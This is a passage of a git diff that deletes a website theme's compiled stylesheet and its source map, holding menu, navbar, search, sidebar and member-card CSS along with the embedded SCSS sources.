middle; } - -/* Initial menus should be inline-block so that they are horizontal */ -/* Submenus should still be display: block; */ -.pure-menu-item .pure-menu-item { - display: block; } - -.pure-menu-children { - display: none; - position: absolute; - left: 100%; - top: 0; - margin: 0; - padding: 0; - z-index: 3; - box-shadow: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04); } - -.pure-menu-horizontal .pure-menu-children { - left: 0; - top: auto; - width: inherit; } - -.pure-menu-allow-hover:hover > .pure-menu-children, .pure-menu-active > .pure-menu-children { - display: block; - position: absolute; } - -/* Vertical Menus - show the dropdown arrow */ -.pure-menu-has-children > .pure-menu-link:after { - padding-left: 0.35rem; - font-family: sans-serif; - content: "▸"; } - -/* Horizontal Menus - show the dropdown arrow */ -.pure-menu-horizontal .pure-menu-has-children > .pure-menu-link:after { - font-family: sans-serif; - content: "▾"; } - -/* scrollable menus */ -.pure-menu-scrollable { - overflow-y: scroll; - overflow-x: hidden; } - .pure-menu-scrollable .pure-menu-list { - display: block; } - -.pure-menu-horizontal.pure-menu-scrollable { - white-space: nowrap; - overflow-y: hidden; - overflow-x: auto; - /* a little extra padding for this style to allow for scrollbars */ - padding: .5em 0; } - .pure-menu-horizontal.pure-menu-scrollable .pure-menu-list { - display: inline-block; } - -/* misc default styling */ -.pure-menu-separator { - background-color: #ccc; - height: 1px; - margin: .3em 0; } - -.pure-menu-horizontal .pure-menu-children .pure-menu-separator { - background-color: #ccc; - height: 1px; - margin: .3em 0; } - -.pure-menu-horizontal .pure-menu-separator { - width: 1px; - height: 1.3em; - margin: 0 0.3em; } - -.pure-menu-horizontal .pure-menu-children .pure-menu-separator { - display: block; - width: auto; } - -/* Need to reset the separator since submenu is vertical */ -.pure-menu-heading { - text-transform: uppercase; - color: var(--color-text); } - -.pure-menu-link { - color: var(--color-text); - font-size: 0.875rem; - /* 14px */ - line-height: 1.25rem; - /* 20px */ } - -.pure-menu-children { - background-color: var(--color-background); } - -.pure-menu-link, .pure-menu-heading { - padding: .5rem; } - -.pure-menu-disabled { - opacity: .5; } - .pure-menu-disabled .pure-menu-link:hover { - background-color: transparent; - cursor: default; } - -.pure-menu-active > .pure-menu-link { - background-color: var(--color-background-hover); } - -.pure-menu-link:hover, .pure-menu-link:focus { - background-color: var(--color-background-hover); } - -.pure-menu-selected > .pure-menu-link { - color: var(--color-navbar-item-active); } - .pure-menu-selected > .pure-menu-link:visited { - color: var(--color-navbar-item-active); } - -#navbar { - margin: 1rem 0; } - @media screen and (max-width: 48rem) { - #navbar { - display: none; } } - #navbar > ul.pure-menu-list { - display: flex; } - #navbar > ul.pure-menu-list .navbar-dropdown > a.pure-menu-link:after { - content: "▾"; } - #navbar > ul.pure-menu-list .navbar-dropdown > ul.pure-menu-children { - left: 0; - top: 27px; - width: inherit; } - #navbar > ul.pure-menu-list .navbar-item { - margin: 0 .5rem 0 0; - border-bottom: 2px solid transparent; } - #navbar > ul.pure-menu-list .navbar-item > a.pure-menu-link { - font-weight: 500; - padding: 0 0 .3rem 0; - color: var(--color-navbar-item-inactive); } - #navbar > ul.pure-menu-list .navbar-item > a.pure-menu-link:hover { - background-color: transparent; } - #navbar > ul.pure-menu-list .navbar-item:hover { - border-bottom-color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item:hover > a { - color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.active { - border-bottom-color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.active > a { - color: var(--color-navbar-item-active); } - #navbar > ul.pure-menu-list .navbar-item.insection { - border-bottom-color: var(--color-navbar-item-in-section); } - #navbar > ul.pure-menu-list .navbar-item.insection > a { - color: var(--color-navbar-item-in-section); } - -#TableOfContents { - line-height: 1.5rem; } - #TableOfContents ul, #TableOfContents li { - list-style: none; - padding-left: 0; - margin: 0; } - #TableOfContents ul ul { - margin-left: .5rem; } - #TableOfContents li { - margin-top: .375rem; } - #TableOfContents a { - color: var(--color-text); } - -article#collapsible_menu_changelogs { - line-height: 1.75rem; - display: grid; - gap: .5rem; - grid-template-columns: max-content 1fr; - margin-top: .5rem; } - -.collapsible-menu-wrapper { - margin-top: 2rem; - margin-bottom: 2rem; - font-size: 0.875rem; - padding: 1rem; - border: 2px solid var(--color-border-collapsible-menu); - border-radius: .25rem; } - .collapsible-menu-wrapper .collapsible-menu-type span { - font-weight: 700; - line-height: 1.5rem; } - .collapsible-menu-wrapper summary.collapsible-menu-type span { - margin-left: .3rem; } - .collapsible-menu-wrapper .collapsible-menu { - margin-left: .5rem; } - -.emgithub-container { - margin-top: 1.5rem; - margin-bottom: 1.5rem; } - .emgithub-container .emgithub-code { - display: flex; - flex-direction: column; - justify-content: center; } - .emgithub-container .emgithub-code .emgithub-loading { - margin-left: auto; - margin-right: auto; - margin-top: 1rem; - margin-bottom: 1rem; - z-index: 10; - position: absolute; - left: 0; - right: 0; - width: 2rem; } - .emgithub-container .emgithub-code .emgithub-loading.hide { - display: none; } - .emgithub-container .emgithub-code .emgithub-loading svg { - width: 2rem; - height: 2rem; - animation: spin 1s linear infinite; - color: white; - fill: #969696; } - -@keyframes spin { - from { - transform: rotate(0deg); } - to { - transform: rotate(360deg); } } - .emgithub-container .emgithub-code .emgithub-pre { - margin-top: 0; - margin-bottom: 0; - border-bottom-right-radius: 0px; - border-bottom-left-radius: 0px; } - .emgithub-container .emgithub-code .emgithub-pre.loading { - min-height: 5rem; } - .emgithub-container .emgithub-code .emgithub-pre code { - tab-size: inherit; } - .emgithub-container .emgithub-toolbar { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - display: flex; - flex-direction: row; - justify-content: space-between; - padding: 0.75rem 0.75rem 0.625rem 0.75rem; - border-bottom-right-radius: 0.375rem; - border-bottom-left-radius: 0.375rem; - background-color: #171717; } - .emgithub-container .emgithub-toolbar a { - font-weight: 600; - color: white; - border: 0; } - -.term-item { - color: var(--color-text); - border-bottom: 2px solid var(--color-border); - margin-right: 0.375rem; - text-wrap: nowrap; } - .term-item:hover { - border-bottom-color: var(--color-text-secondary); } - -.icon { - display: inline-block; - width: 1.5rem; - height: 1.5rem; } - .icon a { - color: var(--color-text); } - .icon a:hover { - color: var(--color-text-secondary); } - -.breadcrumbs { - font-weight: 700; - list-style-type: none; - padding: 0; - margin: 0; } - .breadcrumbs a { - color: var(--color-text); - border-bottom: 2px solid transparent; } - .breadcrumbs a:hover { - border-bottom-color: var(--color-text-secondary); } - .breadcrumbs li { - display: inline; - margin-right: 0.25rem; } - -.color-block { - border-radius: 0.25rem; - padding: 0.75rem; } - -.icon-group { - margin-top: 1rem; - margin-bottom: 1rem; - display: inline-grid; - grid-auto-flow: column; - gap: 0.375rem; } - -#search_menu_wrapper { - display: flex; - justify-content: center; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 40; - background-color: rgba(0, 0, 0, 0.75); } - #search_menu_wrapper #search_menu { - position: fixed; - display: flex; - flex-direction: column; - width: 100%; - height: 100%; - border-radius: 0; - background-color: var(--color-background); } - @media screen and (min-width: 35.5rem) { - #search_menu_wrapper #search_menu { - height: auto; - top: 6rem; - bottom: 6rem; - width: 30rem; - z-index: 50; - border-radius: 0.375rem; } } - #search_menu_wrapper #search_menu #search_menu_toolbar { - display: flex; - min-height: 2.5rem; - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper { - display: flex; - flex-grow: 1; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input { - padding-left: 1rem; - padding-right: 1rem; - flex-grow: 1; - border-top-left-radius: 0.375rem; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_input_wrapper input:focus { - outline: 2px solid transparent; - outline-offset: 2px; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn { - display: flex; - align-items: center; - justify-content: center; - width: 2.5rem; - border-top-right-radius: 0.375rem; - cursor: pointer; } - #search_menu_wrapper #search_menu #search_menu_toolbar #search_menu_close_btn:hover { - background-color: var(--color-background-overlay); } - #search_menu_wrapper #search_menu #search_menu_results { - flex-grow: 1; - overflow-y: auto; } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item { - padding-left: 1rem; - padding-right: 1rem; - padding-top: 0.875rem; - padding-bottom: 0.875rem; - min-height: 2.5rem; } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item:hover { - background-color: var(--color-background-overlay); } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-title { - font-weight: 700; - line-height: 1.7rem; - color: var(--color-text); } - #search_menu_wrapper #search_menu #search_menu_results .search-menu-result-item .search-menu-result-item-content { - font-size: 0.75rem; - /* 12px */ - line-height: 1rem; - /* 16px */ - color: var(--color-text-secondary); } - -#sidebar_btn_input:checked ~ #sidebar_canvas_overlay_wrapper #sidebar_canvas_overlay { - display: block; } - -#sidebar_canvas_overlay { - background-color: rgba(0, 0, 0, 0.75); - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - z-index: 10; - display: none; } - -#sidebar { - position: fixed; - top: 0; - left: 0; - height: 100%; - z-index: 20; - background-color: var(--color-background); - box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06); - transition: transform 0.2s; - transform: translateX(-100%); - overflow-y: auto; - width: 60%; } - @media screen and (min-width: 35.5rem) { - #sidebar { - width: 40%; } } - #sidebar ul { - list-style: none; - padding-left: 0; - margin: 0; } - #sidebar li { - margin: 1.2rem; } - #sidebar a { - color: var(--color-text); } - -#sidebar_btn_input:checked ~ #sidebar { - display: block; - transform: translateX(0); } - -.pagination { - padding: 0; - margin: 0; - list-style: none; } - .pagination li { - display: inline; - margin: 0 .1rem; } - .pagination a, .pagination span { - color: var(--color-text-secondary); } - .pagination li.active a { - font-weight: 600; - color: var(--color-text); } - .pagination li:not(.disabled) a:hover { - color: var(--color-text); } - .pagination li:not(.disabled) a:hover span { - color: inherit; } - .pagination .disabled { - cursor: not-allowed; } - -.postcard-layout .pagination { - text-align: center; } - -/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/public/style.css.map b/public/style.css.map deleted file mode 100644 index 4817f3d6..00000000 --- a/public/style.css.map +++ /dev/null @@ -1,71 +0,0 @@ -{ - "version": 3, - "file": "style.css", - "sourceRoot": "/home/akiidjk/WorkSpace/Projects/CurrentProjects/ByteTheCookies.github.io", - "sources": [ - "themes/bytethecookies-theme/assets/scss/core.scss", - "themes/bytethecookies-theme/assets/scss/purecss/_base.scss", - "themes/bytethecookies-theme/assets/scss/mixins/text.scss", - "themes/bytethecookies-theme/assets/scss/mixins/margin.scss", - "themes/bytethecookies-theme/assets/scss/mixins/padding.scss", - "themes/bytethecookies-theme/assets/scss/mixins/items.scss", - "themes/bytethecookies-theme/assets/scss/color.scss", - "themes/bytethecookies-theme/assets/scss/vars.scss", - "themes/bytethecookies-theme/assets/scss/base.scss", - "themes/bytethecookies-theme/assets/scss/layout/article.scss", - "themes/bytethecookies-theme/assets/scss/layout/bookcase.scss", - "themes/bytethecookies-theme/assets/scss/layout/gallery.scss", - "themes/bytethecookies-theme/assets/scss/layout/balloon.scss", - "themes/bytethecookies-theme/assets/scss/layout/list.scss", - "themes/bytethecookies-theme/assets/scss/layout/postcard.scss", - "themes/bytethecookies-theme/assets/scss/layout/term.scss", - "themes/bytethecookies-theme/assets/scss/components/header.scss", - "themes/bytethecookies-theme/assets/scss/components/footer.scss", - "themes/bytethecookies-theme/assets/scss/components/menus.scss", - "themes/bytethecookies-theme/assets/scss/components/nav.scss", - "themes/bytethecookies-theme/assets/scss/components/collapsible-menu.scss", - "themes/bytethecookies-theme/assets/scss/components/emgithub.scss", - "themes/bytethecookies-theme/assets/scss/components/terms-cloud.scss", - "themes/bytethecookies-theme/assets/scss/components/icon.scss", - "themes/bytethecookies-theme/assets/scss/components/breadcrumbs.scss", - "themes/bytethecookies-theme/assets/scss/components/color-block.scss", - "themes/bytethecookies-theme/assets/scss/components/icon-group.scss", - "themes/bytethecookies-theme/assets/scss/components/search-menu.scss", - "themes/bytethecookies-theme/assets/scss/components/sidebar.scss", - "themes/bytethecookies-theme/assets/scss/components/pagination.scss" - ], - "sourcesContent": [ - "@import 'purecss/base';\n\n@import 'mixins/text';\n@import 'mixins/margin';\n@import 'mixins/padding';\n@import 'mixins/items';\n\n@import 'color';\n@import 'vars';\n\n@import 'base';\n@import 'layout/article';\n@import 'layout/bookcase';\n@import 'layout/gallery';\n@import 'layout/balloon';\n@import 'layout/list';\n@import 'layout/postcard';\n@import 'layout/term';\n@import 'components/header';\n@import 'components/footer';\n@import 'components/menus';\n@import 'components/nav';\n@import 'components/collapsible-menu';\n@import 'components/emgithub';\n@import 'components/terms-cloud';\n@import 'components/icon';\n@import 'components/breadcrumbs';\n@import 'components/color-block';\n@import 'components/icon-group';\n@import 'components/search-menu';\n@import 'components/sidebar';\n@import 'components/pagination';\n", - "/*!\nPure v2.1.0\nCopyright 2013 Yahoo!\nLicensed under the BSD License.\nhttps://github.com/pure-css/pure/blob/master/LICENSE\n*/\n/*!\nnormalize.css v | MIT License | git.io/normalize\nCopyright (c) Nicolas Gallagher and Jonathan Neal\n*/\n/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */\n\n/* Document\n ========================================================================== */\n\n/**\n * 1. Correct the line height in all browsers.\n * 2. Prevent adjustments of font size after orientation changes in iOS.\n */\n\nhtml {\n line-height: 1.15;\n\n /* 1 */\n -webkit-text-size-adjust: 100%;\n\n /* 2 */\n}\n\n/* Sections\n ========================================================================== */\n\n/**\n * Remove the margin in all browsers.\n */\n\nbody {\n margin: 0;\n}\n\n/**\n * Render the `main` element consistently in IE.\n */\n\nmain {\n display: block;\n}\n\n/**\n * Correct the font size and margin on `h1` elements within `section` and\n * `article` contexts in Chrome, Firefox, and Safari.\n */\n\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\n\n/* Grouping content\n ========================================================================== */\n\n/**\n * 1. Add the correct box sizing in Firefox.\n * 2. Show the overflow in Edge and IE.\n */\n\nhr {\n -webkit-box-sizing: content-box;\n box-sizing: content-box;\n\n /* 1 */\n height: 0;\n\n /* 1 */\n overflow: visible;\n\n /* 2 */\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\npre {\n font-family: monospace, monospace;\n\n /* 1 */\n font-size: 1em;\n\n /* 2 */\n}\n\n/* Text-level semantics\n ========================================================================== */\n\n/**\n * Remove the gray background on active links in IE 10.\n */\n\na {\n background-color: transparent;\n}\n\n/**\n * 1. Remove the bottom border in Chrome 57-\n * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n */\n\nabbr[title] {\n border-bottom: none;\n\n /* 1 */\n text-decoration: underline;\n\n /* 2 */\n -webkit-text-decoration: underline dotted;\n text-decoration: underline dotted;\n\n /* 2 */\n}\n\n/**\n * Add the correct font weight in Chrome, Edge, and Safari.\n */\n\nb, strong {\n font-weight: bolder;\n}\n\n/**\n * 1. Correct the inheritance and scaling of font size in all browsers.\n * 2. Correct the odd `em` font sizing in all browsers.\n */\n\ncode, kbd, samp {\n font-family: monospace, monospace;\n\n /* 1 */\n font-size: 1em;\n\n /* 2 */\n}\n\n/**\n * Add the correct font size in all browsers.\n */\n\nsmall {\n font-size: 80%;\n}\n\n/**\n * Prevent `sub` and `sup` elements from affecting the line height in\n * all browsers.\n */\n\nsub, sup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\n\nsub {\n bottom: -0.25em;\n}\n\nsup {\n top: -0.5em;\n}\n\n/* Embedded content\n ========================================================================== */\n\n/**\n * Remove the border on images inside links in IE 10.\n */\n\nimg {\n border-style: none;\n}\n\n/* Forms\n ========================================================================== */\n\n/**\n * 1. Change the font styles in all browsers.\n * 2. Remove the margin in Firefox and Safari.\n */\n\nbutton, input, optgroup, select, textarea {\n font-family: inherit;\n\n /* 1 */\n font-size: 100%;\n\n /* 1 */\n line-height: 1.15;\n\n /* 1 */\n margin: 0;\n\n /* 2 */\n}\n\n/**\n * Show the overflow in IE.\n * 1. Show the overflow in Edge.\n */\n\nbutton, input {\n /* 1 */\n overflow: visible;\n}\n\n/**\n * Remove the inheritance of text transform in Edge, Firefox, and IE.\n * 1. Remove the inheritance of text transform in Firefox.\n */\n\nbutton, select {\n /* 1 */\n text-transform: none;\n}\n\n/**\n * Correct the inability to style clickable types in iOS and Safari.\n */\n\nbutton, [type=\"button\"], [type=\"reset\"], [type=\"submit\"] {\n -webkit-appearance: button;\n}\n\n/**\n * Remove the inner border and padding in Firefox.\n */\n\nbutton::-moz-focus-inner, [type=\"button\"]::-moz-focus-inner, [type=\"reset\"]::-moz-focus-inner, [type=\"submit\"]::-moz-focus-inner {\n border-style: none;\n padding: 0;\n}\n\n/**\n * Restore the focus styles unset by the previous rule.\n */\n\nbutton:-moz-focusring, [type=\"button\"]:-moz-focusring, [type=\"reset\"]:-moz-focusring, [type=\"submit\"]:-moz-focusring {\n outline: 1px dotted ButtonText;\n}\n\n/**\n * Correct the padding in Firefox.\n */\n\nfieldset {\n padding: 0.35em 0.75em 0.625em;\n}\n\n/**\n * 1. Correct the text wrapping in Edge and IE.\n * 2. Correct the color inheritance from `fieldset` elements in IE.\n * 3. Remove the padding so developers are not caught out when they zero out\n * `fieldset` elements in all browsers.\n */\n\nlegend {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n\n /* 1 */\n color: inherit;\n\n /* 2 */\n display: table;\n\n /* 1 */\n max-width: 100%;\n\n /* 1 */\n padding: 0;\n\n /* 3 */\n white-space: normal;\n\n /* 1 */\n}\n\n/**\n * Add the correct vertical alignment in Chrome, Firefox, and Opera.\n */\n\nprogress {\n vertical-align: baseline;\n}\n\n/**\n * Remove the default vertical scrollbar in IE 10+.\n */\n\ntextarea {\n overflow: auto;\n}\n\n/**\n * 1. Add the correct box sizing in IE 10.\n * 2. Remove the padding in IE 10.\n */\n\n[type=\"checkbox\"], [type=\"radio\"] {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n\n /* 1 */\n padding: 0;\n\n /* 2 */\n}\n\n/**\n * Correct the cursor style of increment and decrement buttons in Chrome.\n */\n\n[type=\"number\"] {\n &::-webkit-inner-spin-button, &::-webkit-outer-spin-button {\n height: auto;\n }\n}\n\n/**\n * 1. Correct the odd appearance in Chrome and Safari.\n * 2. Correct the outline style in Safari.\n */\n\n[type=\"search\"] {\n -webkit-appearance: textfield;\n\n /* 1 */\n outline-offset: -2px;\n\n /* 2 */\n\n &::-webkit-search-decoration {\n -webkit-appearance: none;\n }\n}\n\n/**\n * Remove the inner padding in Chrome and Safari on macOS.\n */\n\n/**\n * 1. Correct the inability to style clickable types in iOS and Safari.\n * 2. Change font properties to `inherit` in Safari.\n */\n\n::-webkit-file-upload-button {\n -webkit-appearance: button;\n\n /* 1 */\n font: inherit;\n\n /* 2 */\n}\n\n/* Interactive\n ========================================================================== */\n\n/*\n * Add the correct display in Edge, IE 10+, and Firefox.\n */\n\ndetails {\n display: block;\n}\n\n/*\n * Add the correct display in all browsers.\n */\n\nsummary {\n display: list-item;\n}\n\n/* Misc\n ========================================================================== */\n\n/**\n * Add the correct display in IE 10+.\n */\n\ntemplate, [hidden] {\n display: none;\n}\n\n/**\n * Add the correct display in IE 10.\n */\n\n/*csslint important:false*/\n\n/* ==========================================================================\n Pure Base Extras\n ========================================================================== */\n\n/**\n * Extra rules that Pure adds on top of Normalize.css\n */\n\nhtml {\n font-family: sans-serif;\n}\n\n/**\n * Always hide an element when it has the `hidden` HTML attribute.\n */\n\n.hidden, [hidden] {\n display: none !important;\n}\n\n/**\n * Add this class to an image to make it fit within it's fluid parent wrapper while maintaining\n * aspect ratio.\n */\n\n.pure-img {\n max-width: 100%;\n height: auto;\n display: block;\n}\n", - "@mixin text-xs {\n font-size: 0.75rem; /* 12px */\n line-height: 1rem; /* 16px */\n}\n@mixin text-sm {\n font-size: 0.875rem; /* 14px */\n line-height: 1.25rem; /* 20px */\n}\n@mixin text-base {\n font-size: 1rem; /* 16px */\n line-height: 1.5rem; /* 24px */\n}\n@mixin text-lg {\n font-size: 1.125rem; /* 18px */\n line-height: 1.75rem; /* 28px */\n}\n@mixin text-xl {\n font-size: 1.25rem; /* 20px */\n line-height: 1.75rem; /* 28px */\n}\n@mixin text-2xl {\n font-size: 1.375rem; /* 22px */\n line-height: 1.875rem; /* 30px */\n}\n@mixin text-3xl {\n font-size: 1.5rem; /* 24px */\n line-height: 2rem; /* 32px */\n}\n\n@mixin font-thin {\n font-weight: 100;\n}\n@mixin font-extralight {\n font-weight: 200;\n}\n@mixin font-light {\n font-weight: 300;\n}\n@mixin font-normal {\n font-weight: 400;\n}\n@mixin font-medium {\n font-weight: 500;\n}\n@mixin font-semibold {\n font-weight: 600;\n}\n@mixin font-bold {\n font-weight: 700;\n}\n@mixin font-extrabold {\n font-weight: 800;\n}\n@mixin font-black {\n font-weight: 900;\n}\n", - "@mixin my-0 {\n margin-top: 0;\n margin-bottom: 0;\n}\n@mixin my-2 {\n margin-top: .5rem;\n margin-bottom: .5rem;\n}\n@mixin my-4 {\n margin-top: 1rem;\n margin-bottom: 1rem;\n}\n@mixin my-6 {\n margin-top: 1.5rem;\n margin-bottom: 1.5rem;\n}\n@mixin my-8 {\n margin-top: 2rem;\n margin-bottom: 2rem;\n}\n\n@mixin mx-auto {\n margin-left: auto;\n margin-right: auto;\n}\n@mixin mx-0 {\n margin-left: 0;\n margin-right: 0;\n}\n@mixin mx-1 {\n margin-left: 0.25rem;\n margin-right: 0.25rem;\n}\n@mixin mx-2 {\n margin-left: .5rem;\n margin-right: .5rem;\n}\n@mixin mx-4 {\n margin-left: 1rem;\n margin-right: 1rem;\n}\n@mixin mx-6 {\n margin-left: 1.5rem;\n margin-right: 1.5rem;\n}\n@mixin mx-8 {\n margin-left: 2rem;\n margin-right: 2rem;\n}", - "@mixin py-0 {\n padding-top: 0;\n padding-bottom: 0;\n}\n@mixin py-2 {\n padding-top: .5rem;\n padding-bottom: .5rem;\n}\n@mixin py-4 {\n padding-top: 1rem;\n padding-bottom: 1rem;\n}\n@mixin py-6 {\n padding-top: 1.5rem;\n padding-bottom: 1.5rem;\n}\n@mixin py-8 {\n padding-top: 2rem;\n padding-bottom: 2rem;\n}\n\n@mixin px-0 {\n padding-left: 0;\n padding-right: 0;\n}\n@mixin px-2 {\n padding-left: .5rem;\n padding-right: .5rem;\n}\n@mixin px-3 {\n padding-left: .75rem;\n padding-right: .75rem;\n}\n@mixin px-4 {\n padding-left: 1rem;\n padding-right: 1rem;\n}\n@mixin px-6 {\n padding-left: 1.5rem;\n padding-right: 1.5rem;\n}\n@mixin px-8 {\n padding-left: 2rem;\n padding-right: 2rem;\n}", - "@mixin list-link-item {\n color: var(--color-text);\n border-bottom: 2px solid var(--color-border);\n\n &:hover {\n border-bottom-color: var(--color-text-secondary);\n }\n}", - "$gray-0: #fff;\n$gray-50: #f7f7f7;\n$gray-100: #f5f5f5;\n$gray-150: #ededed;\n$gray-200: #e5e5e5;\n$gray-250: #dddddd;\n$gray-300: #d4d4d4;\n$gray-350: #bcbcbc;\n$gray-400: #a3a3a3;\n$gray-450: #8b8b8b;\n$gray-500: #737373;\n$gray-550: #636363;\n$gray-600: #525252;\n$gray-650: #494949;\n$gray-700: #404040;\n$gray-750: #333333;\n$gray-800: #262626;\n$gray-850: #1f1f1f;\n$gray-900: #171717;\n$gray-1000: #000;\n\nhtml[data-theme=\"light\"] {\n --color-text: #{$gray-900};\n --color-text-secondary: #{$gray-500};\n --color-text-footer: #{$gray-500};\n --color-text-mark: #{$gray-900};\n --color-border: #{$gray-300};\n --color-border-collapsible-menu: #{$gray-200};\n --color-background: #{$gray-0};\n --color-background-hover: #{$gray-50};\n --color-background-overlay: #{$gray-150};\n --color-background-inline-code: #{$gray-100};\n --color-background-card: #{$gray-0};\n --color-background-mark: #ffd70e;\n --color-link: #2563eb;\n --color-navbar-item-inactive: #{$gray-400};\n --color-navbar-item-active: #{$gray-900};\n --color-navbar-item-in-section: #{$gray-600};\n}\n\nhtml[data-theme=\"dark\"] {\n --color-text: #{$gray-150};\n --color-text-secondary: #{$gray-450};\n --color-text-footer: #{$gray-400};\n --color-text-mark: #{$gray-900};\n --color-border: #{$gray-500};\n --color-border-collapsible-menu: #{$gray-550};\n --color-background: #{$gray-750};\n --color-background-hover: #{$gray-600};\n --color-background-overlay: #{$gray-700};\n --color-background-inline-code: #{$gray-600};\n --color-background-card: #{$gray-700};\n --color-background-mark: #ffd70e;\n --color-link: #93c5fd;\n --color-navbar-item-inactive: #{$gray-400};\n --color-navbar-item-active: #{$gray-100};\n --color-navbar-item-in-section: #{$gray-250};\n}\n\n// Default color settings\n\nhtml {\n color: var(--color-text);\n background: var(--color-background);\n font-size: 16px;\n}\n\na {\n color: var(--color-link);\n text-decoration: none;\n}", - "$sm_min_width: 35.5rem;\n$md_min_width: 48rem;\n$lg_min_width: 64rem;\n$xl_min_width: 80rem;\n$xxl_min_width: 120rem;\n\n$sm_body_width: 100%;\n$md_body_width: 80%;\n$lg_body_width: 55%;\n$xl_body_width: 55%;\n$xxl_body_width: 55%;\n\n", - "html,\nbutton,\ninput,\nselect,\ntextarea,\n.pure-g [class *=\"pure-u\"] {\n font-family: system-ui, -apple-system, segoe ui, Roboto, Helvetica, Arial, sans-serif, apple color emoji, segoe ui emoji;\n}\n\ncode,\nkbd,\npre {\n font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, liberation mono, courier new, monospace;\n}\n\nbody {\n margin-left: auto;\n margin-right: auto;\n padding: 1.5rem;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n @include font-bold;\n margin-top: 2rem;\n margin-bottom: 1rem;\n}\n\nh1 {\n @include text-3xl;\n}\n\nh2 {\n @include text-2xl;\n}\n\nh3 {\n @include text-xl;\n}\n\nh4 {\n @include text-lg;\n}\n\nh5 {\n @include text-base;\n}\n\nh6 {\n @include text-sm;\n}\n\nfigure {\n margin: 0;\n}\n\nimg {\n max-width: 100%;\n border-radius: 3px;\n}\n\ninput {\n background-color: var(--color-background);\n color: var(--color-text);\n border: none;\n}\n\nmark {\n background-color: var(--color-background-mark);\n color: var(--color-text-mark);\n}\n\ndetails>summary {\n cursor: pointer;\n}\n\ndetails[open]>summary {\n cursor: pointer;\n}\n\n.content-margin {\n @include my-8;\n}\n\n.hidden {\n display: none;\n}\n\n@media screen and (min-width: $sm_min_width) {\n body {\n width: $sm_body_width;\n }\n}\n\n@media screen and (min-width: $md_min_width) {\n body {\n width: $md_body_width;\n }\n}\n\n@media screen and (min-width: $lg_min_width) {\n body {\n width: $lg_body_width;\n }\n}\n\n@media screen and (min-width: $xl_min_width) {\n body {\n width: $xl_body_width;\n }\n}\n\n@media screen and (min-width: $xxl_min_width) {\n body {\n width: $xxl_body_width;\n }\n}\n\n\n// Added by akiidjk\n\n\n// USER\n@font-face {\n font-family: \"JetBrainsMonoNerd\";\n src: url(\"/fonts/JetBrainsMonoNLNerdFont-Regular.ttf\") format(\"truetype\");\n font-weight: normal;\n font-style: normal;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6 {\n font-family: \"JetBrainsMonoNerd\", sans-serif;\n}\n\n.badge {\n background-color: #9e8c6c;\n color: white;\n padding: 5px 10px;\n border-radius: 12px;\n font-size: 0.8em;\n font-weight: 200;\n font-family: \"JetBrainsMonoNerd\", sans-serif;\n display: inline-block;\n margin-right: 5px;\n margin-top: 5px;\n}\n\n.date {\n padding-top: 6px;\n font-family: \"JetBrainsMonoNerd\", sans-serif;\n font-size: 0.8em;\n}\n\n.icon_contacts {\n list-style: none;\n margin: 0 10px;\n}\n\n// * MEMBERS\n\n.members-list {\n display: flex;\n flex-wrap: wrap;\n}\n\n\n.card-members {\n display: flex;\n width: calc(45% - 12px);\n margin: 16px auto;\n max-height: 24hv;\n max-width: 56vh;\n border-radius: 12px;\n background-color: #9e8c6c00;\n border: #292929 dashed 4px;\n}\n\n\n@media (max-width: 1350px) {\n .card-members {\n width: 100%;\n margin: 15px auto;\n }\n\n .members-list {\n flex-direction: column;\n align-items: center;\n }\n\n .div-text{\n margin-right: auto;\n }\n}\n\n\n.content-container {\n width: 100%;\n display: flex;\n margin: 0, auto;\n justify-content: space-between;\n}\n\n.div-img-members {\n padding: 10px;\n margin: 0px;\n display: inline-block;\n min-width: 30%;\n position: relative\n}\n\n.badge-image {\n position: absolute;\n top: 14px;\n right: 14px;\n width: 25px;\n border-radius: 50%;\n}\n\n.name-members {\n margin: 14px 0 0 0;\n width: 100%;\n display: inline-block;\n}\n\n.tag-members {\n display: inline-block;\n margin: 0px;\n padding: 0px;\n font-weight: bold;\n text-decoration: underline;\n}\n\n.div-text {\n width: 100%;\n margin-right: auto;\n}\n\n.div-img-members {\n display: inline-block;\n}\n\n.tag-members:hover {\n color: #39e6ec;\n cursor: pointer;\n}\n\n.tag-school {\n display: inline-block;\n margin: 0px;\n padding: 4px;\n padding-left: 0;\n opacity: 0.7;\n}\n\n.categories-container {\n // width: 100%;\n margin-left: auto;\n padding: 8px;\n display: flex;\n flex-direction: column;\n}\n\n.categories-members {\n padding: 2px 8px;\n font-size: 12px;\n display: inline-block;\n margin: 10px auto 0px 0px;\n border-radius: 6px;\n color: white;\n}\n\n.categories-color-web {\n background-color: #8bbada;\n}\n\n.categories-color-pwn {\n background-color: 